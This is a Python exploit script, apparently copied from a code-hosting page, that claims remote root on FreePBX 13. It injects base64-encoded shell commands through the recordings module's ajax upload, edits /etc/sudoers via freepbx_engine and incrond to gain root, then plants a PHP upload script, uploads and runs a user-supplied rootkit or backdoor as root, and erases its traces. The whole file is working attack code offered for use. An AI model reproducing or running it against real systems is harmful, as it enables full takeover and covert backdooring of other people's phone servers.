470 lines
No EOL
16 KiB
Python
Executable file
470 lines
No EOL
16 KiB
Python
Executable file
#!/usr/bin/env python
|
|
# -*- coding, latin-1 -*- ######################################################
|
|
# #
|
|
# DESCRIPTION #
|
|
# FreePBX 13 remote root 0day - Found and exploited by pgt @ nullsecurity.net #
|
|
# #
|
|
# AUTHOR #
|
|
# pgt - nullsecurity.net #
|
|
# #
|
|
# DATE #
|
|
# 8-12-2016 #
|
|
# #
|
|
# VERSION #
|
|
# freepbx0day.py 0.1 #
|
|
# #
|
|
# AFFECTED VERSIONS #
|
|
# FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26) #
|
|
# #
|
|
# STATUS #
|
|
# Fixed 08-10-2016 - http://issues.freepbx.org/browse/FREEPBX-12908 #
|
|
# #
|
|
# TESTED AGAINST #
|
|
# * http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso #
|
|
# * http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso #
|
|
# #
|
|
# TODO #
|
|
# * SSL support (priv8) #
|
|
# * parameter for TCP port #
|
|
# #
|
|
# HINT #
|
|
# Base64 Badchars: '+', '/', '=' #
|
|
# #
|
|
################################################################################
|
|
|
|
'''
|
|
Successful exploitation should looks like:
|
|
|
|
[*] enum FreePBX version
|
|
[+] target running FreePBX 13
|
|
[*] checking if target is vulnerable
|
|
[+] target seems to be vulnerable
|
|
[*] getting kernel version
|
|
[!] Kernel: Linux localhost.localdomain 2.6.32-504.8.1.el6.x86_64 ....
|
|
[+] Linux x86_64 platform
|
|
[*] adding 'echo "asterisk ALL=(ALL) NOPASSWD:...' to freepbx_engine
|
|
[*] triggering incrond to gaining root permissions via sudo
|
|
[*] waiting 20 seconds while incrond restarts applications - /_!_\ VERY LOUD!
|
|
[*] removing 'echo "asterisk ALL=(ALL) NOPASSWD:...' from freepbx_engine
|
|
[*] checking if we gained root permissions
|
|
[!] w00tw00t w3 r r00t - uid=0(root) gid=0(root) groups=0(root)
|
|
[+] adding view.php to admin/.htaccess
|
|
[*] creating upload script: admin/libraries/view.php
|
|
[*] uploading ${YOUR_ROOTKIT} to /tmp/23 via admin/libraries/view.php
|
|
[*] removing view.php from admin/.htaccess
|
|
[*] rm -f admin/libraries/view.php
|
|
[!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23
|
|
[*] removing 'asterisk ALL=(ALL) NOPASSWD:ALL' from /etc/sudoers
|
|
[*] removing all temp files
|
|
[!] have fun and HACK THE PLANET!
|
|
'''
|
|
|
|
|
|
import base64
|
|
import httplib
|
|
import optparse
|
|
import re
|
|
from socket import *
|
|
import sys
|
|
import time
|
|
|
|
|
|
BANNER = '''\033[0;31m
|
|
################################################################################
|
|
#___________ ________________________ ___ ____________ #
|
|
#\_ _____/______ ____ ____\______ \______ \ \/ / /_ \_____ \ #
|
|
# | __) \_ __ \_/ __ \_/ __ \| ___/| | _/\ / | | _(__ < #
|
|
# | \ | | \/\ ___/\ ___/| | | | \/ \ | |/ \ #
|
|
# \___ / |__| \___ >\___ >____| |______ /___/\ \ |___/______ / #
|
|
# \/ \/ \/ \/ \_/ \/ #
|
|
# _______ .___ #
|
|
# \ _ \ __| _/____ ___.__. * Remote Root 0-Day #
|
|
# / /_\ \ ______ / __ |\__ \< | | #
|
|
# \ \_/ \ /_____/ / /_/ | / __ \ \___ | #
|
|
# \_____ / \____ |(____ / ____| #
|
|
# \/ \/ \/\/ #
|
|
# #
|
|
# * Remote Command Execution Exploit (FreePBX 14 is affected also) #
|
|
# * Local Root Exploit (probably FreePBX 14 is also exploitable) #
|
|
# * Backdoor Upload + Execute As Root #
|
|
# #
|
|
# * Author: pgt - nullsecurity.net #
|
|
# * Version: 0.1 #
|
|
# #
|
|
################################################################################
|
|
\033[0;m'''
|
|
|
|
|
|
def argspage():
|
|
parser = optparse.OptionParser()
|
|
|
|
parser.add_option('-u', default=False, metavar='<url>',
|
|
help='ip/url to exploit')
|
|
parser.add_option('-r', default=False, metavar='<file>',
|
|
help='Linux 32bit bd/rootkit')
|
|
parser.add_option('-R', default=False, metavar='<file>',
|
|
help='Linux 64bit bd/rootkit')
|
|
parser.add_option('-a', default='/', metavar='<path>',
|
|
help='FreePBX path - default: \'/\'')
|
|
|
|
args, args2 = parser.parse_args()
|
|
|
|
if (args.u == False) or (args.r == False) or (args.R == False):
|
|
print ''
|
|
parser.print_help()
|
|
print '\n'
|
|
exit(0)
|
|
|
|
return args
|
|
|
|
|
|
def cleanup_fe():
|
|
print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \
|
|
'\' from freepbx_engine'
|
|
cmd = 'sed -i -- \' /echo \"asterisk ALL=(ALL) NOPASSWD\:ALL\">>' \
|
|
'\/etc\/sudoers/d\' /var/lib/asterisk/bin/freepbx_engine'
|
|
command_execution(cmd)
|
|
|
|
return
|
|
|
|
|
|
def cleanup_lr():
|
|
print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \
|
|
'\' from launch-restapps'
|
|
cmd = 'sed -i -- \':r;$!{N;br};s/\\necho "asterisk.*//g\' ' \
|
|
'modules/restapps/launch-restapps.sh'
|
|
command_execution(cmd)
|
|
|
|
return
|
|
|
|
|
|
def cleanup_htaccess():
|
|
print '[*] removing view.php from admin/.htaccess'
|
|
cmd = 'sed -i -- \'s/config\\\\.php|view\\\\.php|ajax\\\\.php/' \
|
|
'config\\\\.php|ajax\\\\.php/g\' .htaccess'
|
|
command_execution(cmd)
|
|
|
|
return
|
|
|
|
|
|
def cleanup_view_php():
|
|
print '[*] rm -f admin/libraries/view.php'
|
|
cmd = 'rm -f libraries/view.php'
|
|
command_execution(cmd)
|
|
|
|
return
|
|
|
|
|
|
def cleanup_sudoers():
|
|
print '[*] removing \'asterisk ALL=(ALL) NOPASSWD:ALL\' from /etc/sudoers'
|
|
cmd = 'sudo sed -i -- \'/asterisk ALL=(ALL) NOPASSWD:ALL/d\' /etc/sudoers'
|
|
command_execution(cmd)
|
|
|
|
return
|
|
|
|
|
|
def cleanup_tmpfiles():
|
|
print '[*] removing all temp files'
|
|
cmd = 'find / -name *w00t* -exec rm -f {} \; 2> /dev/null'
|
|
command_execution(cmd)
|
|
|
|
return
|
|
|
|
|
|
def check_platform(response):
|
|
if (response.find('Linux') != -1) and (response.find('x86_64') != -1):
|
|
print '[+] Linux x86_64 platform'
|
|
return '64'
|
|
elif (response.find('Linux') != -1) and (response.find('i686') != -1):
|
|
print '[+] Linux i686 platform'
|
|
cleanup_tmpfiles()
|
|
sys.exit(1)
|
|
return '32'
|
|
else:
|
|
print '[-] adjust check_platform() when you want to backdoor ' \
|
|
'other platforms'
|
|
cleanup_tmpfiles()
|
|
sys.exit(1)
|
|
|
|
|
|
def check_kernel(response):
|
|
if response.find('w00t') != -1:
|
|
start = response.find('w00t') + 4
|
|
end = response.find('w00tw00t') - 1
|
|
print '[!] Kernel: %s' % (response[start:end].replace('\\', ''))
|
|
|
|
return check_platform(response[start:end])
|
|
|
|
|
|
def check_root(response):
|
|
if response.find('uid=0(root)') != -1:
|
|
start = response.find('w00t') + 4
|
|
end = response.find('w00tw00t') - 2
|
|
print '[!] w00tw00t w3 r r00t - %s' % (response[start:end])
|
|
return
|
|
else:
|
|
print '[-] we are not root :('
|
|
cleanup_fe()
|
|
cleanup_lr()
|
|
cleanup_tmpfiles()
|
|
sys.exit(1)
|
|
|
|
|
|
def build_request(filename):
|
|
body = 'file=%s&name=a&codec=gsm&lang=ru&temporary=1' \
|
|
'&command=convert&module=recordings' % (filename)
|
|
content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
|
|
|
|
return content_type, body
|
|
|
|
|
|
def filter_filename(response):
|
|
start = response.find('localfilename":"w00t') + 16
|
|
end = response.find('.wav') + 4
|
|
|
|
return response[start:end]
|
|
|
|
|
|
def post(path, content_type, body):
|
|
h = httplib.HTTP(ARGS.u)
|
|
h.putrequest('POST', '%s%s' % (ARGS.a, path))
|
|
h.putheader('Host' , '%s' % (ARGS.u))
|
|
h.putheader('Referer' , 'http://%s/' % (ARGS.u))
|
|
h.putheader('Content-Type', content_type)
|
|
h.putheader('Content-Length', str(len(body)))
|
|
h.endheaders()
|
|
h.send(body)
|
|
errcode, errmsg, headers = h.getreply()
|
|
|
|
return h.file.read()
|
|
|
|
|
|
def encode_multipart_formdata(fields, filename=None):
|
|
LIMIT = '----------lImIt_of_THE_fIle_eW_$'
|
|
CRLF = '\r\n'
|
|
L = []
|
|
L.append('--' + LIMIT)
|
|
if fields:
|
|
for (key, value) in fields.items():
|
|
L.append('Content-Disposition: form-data; name="%s"' % key)
|
|
L.append('')
|
|
L.append(value)
|
|
L.append('--' + LIMIT)
|
|
|
|
if filename == None:
|
|
L.append('Content-Disposition: form-data; name="file"; filename="dasd"')
|
|
L.append('Content-Type: audio/mpeg')
|
|
L.append('')
|
|
L.append('da')
|
|
else:
|
|
L.append('Content-Disposition: form-data; name="file"; filename="dasd"')
|
|
L.append('Content-Type: application/octet-stream')
|
|
L.append('')
|
|
L.append(open_file(filename))
|
|
|
|
L.append('--' + LIMIT + '--')
|
|
L.append('')
|
|
body = CRLF.join(L)
|
|
content_type = 'multipart/form-data; boundary=%s' % (LIMIT)
|
|
|
|
return content_type, body
|
|
|
|
|
|
def create_fields(payload):
|
|
fields = {'id': '1', 'name': 'aaaa', 'extension': '0', 'language': 'ru',
|
|
'systemrecording': '', 'filename': 'w00t%s' % (payload)}
|
|
|
|
return fields
|
|
|
|
|
|
def command_execution(cmd):
|
|
upload_path = 'admin/ajax.php?module=recordings&command=' \
|
|
'savebrowserrecording'
|
|
cmd = base64.b64encode(cmd)
|
|
payload = '`echo %s | base64 -d | sh`' % (cmd)
|
|
fields = create_fields(payload)
|
|
content_type, body = encode_multipart_formdata(fields)
|
|
response = post(upload_path, content_type, body)
|
|
filename = filter_filename(response)
|
|
content_type, body = build_request(filename)
|
|
|
|
return post('admin/ajax.php', content_type, body)
|
|
|
|
|
|
def check_vuln():
|
|
h = httplib.HTTP(ARGS.u)
|
|
h.putrequest('GET', '%sadmin/ajax.php' % (ARGS.a))
|
|
h.putheader('Host' , '%s' % (ARGS.u))
|
|
h.endheaders()
|
|
errcode, errmsg, headers = h.getreply()
|
|
response = h.file.read()
|
|
|
|
if response.find('{"error":"ajaxRequest declined - Referrer"}') == -1:
|
|
print '[-] target seems not to be vulnerable'
|
|
sys.exit(1)
|
|
|
|
upload_path = 'admin/ajax.php?module=recordings&command' \
|
|
'=savebrowserrecording'
|
|
payload = 'w00tw00t'
|
|
fields = create_fields(payload)
|
|
content_type, body = encode_multipart_formdata(fields)
|
|
response = post(upload_path, content_type, body)
|
|
|
|
if response.find('localfilename":"w00tw00tw00t') != -1:
|
|
print '[+] target seems to be vulnerable'
|
|
return
|
|
else:
|
|
print '[-] target seems not to be vulnerable'
|
|
sys.exit(1)
|
|
|
|
|
|
def open_file(filename):
|
|
try:
|
|
f = open(filename, 'rb')
|
|
file_content = f.read()
|
|
f.close()
|
|
return file_content
|
|
except IOError:
|
|
print '[-] %s does not exists!' % (filename)
|
|
sys.exit(1)
|
|
|
|
|
|
def version13():
|
|
print '[*] checking if target is vulnerable'
|
|
check_vuln()
|
|
|
|
print '[*] getting kernel version'
|
|
cmd = 'uname -a; echo w00tw00t'
|
|
response = command_execution(cmd)
|
|
result = check_kernel(response)
|
|
if result == '64':
|
|
backdoor = ARGS.R
|
|
elif result == '32':
|
|
backdoor = ARGS.r
|
|
|
|
print '[*] adding \'echo "asterisk ALL=(ALL) NOPASSWD:...\' ' \
|
|
'to freepbx_engine'
|
|
cmd = 'sed -i -- \'s/Com Inc./Com Inc.\\necho "asterisk ALL=\(ALL\)\ ' \
|
|
'NOPASSWD\:ALL"\>\>\/etc\/sudoers/g\' /var/lib/' \
|
|
'asterisk/bin/freepbx_engine'
|
|
command_execution(cmd)
|
|
|
|
|
|
print '[*] triggering incrond to gaining root permissions via sudo'
|
|
cmd = 'echo a > /var/spool/asterisk/sysadmin/amportal_restart'
|
|
command_execution(cmd)
|
|
|
|
print '[*] waiting 20 seconds while incrond restarts applications' \
|
|
' - /_!_\\ VERY LOUD!'
|
|
time.sleep(20)
|
|
|
|
cleanup_fe()
|
|
#cleanup_lr()
|
|
|
|
print '[*] checking if we gained root permissions'
|
|
cmd = 'sudo -n id; echo w00tw00t'
|
|
response = command_execution(cmd)
|
|
check_root(response)
|
|
|
|
print '[+] adding view.php to admin/.htaccess'
|
|
cmd = 'sed -i -- \'s/config\\\\.php|ajax\\\\.php/' \
|
|
'config\\\\.php|view\\\\.php|ajax\\\\.php/g\' .htaccess'
|
|
command_execution(cmd)
|
|
|
|
print '[*] creating upload script: admin/libraries/view.php'
|
|
cmd = 'echo \'<?php move_uploaded_file($_FILES["file"]' \
|
|
'["tmp_name"], "/tmp/23");?>\' > libraries/view.php'
|
|
command_execution(cmd)
|
|
|
|
print '[*] uploading %s to /tmp/23 via ' \
|
|
'admin/libraries/view.php' % (backdoor)
|
|
content_type, body = encode_multipart_formdata(False, backdoor)
|
|
post('admin/libraries/view.php', content_type, body)
|
|
|
|
cleanup_htaccess()
|
|
cleanup_view_php()
|
|
|
|
print '[!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1;' \
|
|
' rm -f /tmp/23'
|
|
cmd = 'chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23'
|
|
setdefaulttimeout(5)
|
|
try:
|
|
command_execution(cmd)
|
|
except timeout:
|
|
''' l4zY w0rk '''
|
|
|
|
setdefaulttimeout(20)
|
|
try:
|
|
cleanup_sudoers()
|
|
cleanup_tmpfiles()
|
|
except timeout:
|
|
cleanup_tmpfiles()
|
|
|
|
return
|
|
|
|
|
|
def enum_version():
|
|
h = httplib.HTTP(ARGS.u)
|
|
h.putrequest('GET', '%sadmin/config.php' % (ARGS.a))
|
|
h.putheader('Host' , '%s' % (ARGS.u))
|
|
h.endheaders()
|
|
errcode, errmsg, headers = h.getreply()
|
|
response = h.file.read()
|
|
|
|
if response.find('FreePBX 13') != -1:
|
|
print '[+] target running FreePBX 13'
|
|
return 13
|
|
else:
|
|
print '[-] target is not running FreePBX 13'
|
|
|
|
return False
|
|
|
|
|
|
def checktarget():
|
|
if re.match(r'^[0-9.\-]*$', ARGS.u):
|
|
target = ARGS.u
|
|
else:
|
|
try:
|
|
target = gethostbyname(ARGS.u)
|
|
except gaierror:
|
|
print '[-] \'%s\' is unreachable' % (ARGS.u)
|
|
|
|
sock = socket(AF_INET, SOCK_STREAM)
|
|
sock.settimeout(5)
|
|
result = sock.connect_ex((target, 80))
|
|
sock.close()
|
|
if result != 0:
|
|
'[-] \'%s\' is unreachable' % (ARGS.u)
|
|
sys.exit(1)
|
|
|
|
return
|
|
|
|
def main():
|
|
print BANNER
|
|
|
|
checktarget()
|
|
|
|
open_file(ARGS.r)
|
|
open_file(ARGS.R)
|
|
|
|
print '[*] enum FreePBX version'
|
|
result = enum_version()
|
|
|
|
if result == 13:
|
|
version13()
|
|
|
|
print '[!] have fun and HACK THE PLANET!'
|
|
|
|
return
|
|
|
|
|
|
if __name__ == '__main__':
|
|
ARGS = argspage()
|
|
try:
|
|
main()
|
|
except KeyboardInterrupt:
|
|
print '\nbye bye!!!'
|
|
time.sleep(0.01)
|
|
sys.exit(1)
|
|
|
|
#EOF |